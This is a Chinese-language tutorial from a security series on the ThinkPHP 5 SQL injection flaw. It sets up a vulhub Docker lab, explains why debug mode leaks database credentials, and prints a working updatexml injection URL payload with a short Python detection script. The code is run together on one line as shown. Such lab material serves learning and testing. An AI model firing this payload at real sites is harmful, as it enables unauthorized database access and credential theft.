Python武器库开发-武器库篇之Thinkphp5 SQL注入漏洞(六十六)
漏洞环境搭建
这里我们使用Kali虚拟机安装docker并搭建vulhub靶场来进行ThinkPHP漏洞环境的安装,我们进入 ThinkPHP漏洞环境,可以 cd ThinkPHP,然后通过 ls 查看可以搭建的靶场,目前 vulhub关于 ThinkPHP漏洞。可以搭建的靶场有五个。我们拿 in-sqlinjection 漏洞举例,如果我们想要安装 in-sqlinjection 漏洞环境,可以 cd 到 in-sqlinjection ,然后输入以下命令启动靶场环境:
docker-compose up -d
然后我们在浏览器输入 https://localhost:8083
就可以访问靶场环境
Thinkphp5 SQL注入漏洞原理
ThinkPHP 5 是一个开源的 PHP 框架,被广泛用于构建 Web 应用程序。然而,由于编码不规范或未经适当验证的用户输入数据,可能会导致 SQL 注入漏洞。
SQL 注入攻击是一种利用应用程序对用户输入数据的处理不当,导致恶意 SQL 代码被执行的攻击方式。攻击者通过在用户输入的数据中注入恶意的 SQL 代码,从而获得对数据库的访问权限或执行未授权的操作。
在 ThinkPHP 5 中,SQL 注入漏洞的主要原因是传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。
Thinkphp5 SQL注入漏洞 POC
接下来我们给出Thinkphp5 SQL注入漏洞的POC,代码内容如下:
index.php?ids[]=1&ids[]=2
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
我们像URL路径下添加POC就可以看到泄露的账户和密码:
Thinkphp5 SQL注入漏洞 POC编写
现在我们用python编写检测Thinkphp5 SQL注入漏洞的代码,内容如下:
#!/usr/bin/env pythonimport requests
from urllib.parse import urljoindef thinkphp5_sqli(url):payload = urljoin(url,'/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1')response = requests.get(url=payload, verify=False)if 'XPATH syntax error' in response.text:print('漏洞存在')else:print('漏洞不存在')if __name__ == '__main__':url = 'http://localhost:8083/'thinkphp5_sqli(url)
POC代码详细分析
这段代码是用于检测ThinkPHP 5框架的SQL注入漏洞。首先,代码导入了必要的库,包括requests
和urllib.parse
模块。然后,定义了一个名为thinkphp5_sqli
的函数,该函数接收一个url
参数。
函数主要通过构造一个特定的payload
来检测目标URL是否存在漏洞。在payload
中,使用了urljoin
函数来构造一个URL,其中包含了一个恶意的SQL注入语句。具体来说,这个注入语句使用了updatexml
函数来执行一些恶意的操作,比如获取当前用户。
然后,代码使用requests
库发送一个GET请求,并将构造的payload
作为url参数传递给请求。verify
参数设置为False
,表示不进行SSL验证。
最后,代码检查响应中是否包含了'XPATH syntax error'
这个字符串。如果存在该字符串,说明目标URL存在SQL注入漏洞,输出"漏洞存在"。否则,输出"漏洞不存在"。
在if name == 'main':
部分,代码定义了一个默认的url为'http://localhost:8083/'
,并调用thinkphp5_sqli
函数来检测该URL是否存在漏洞。可以根据需要修改默认的url参数来检测其他URL。
运行效果图
如下是我们这串代码的实际运行效果图: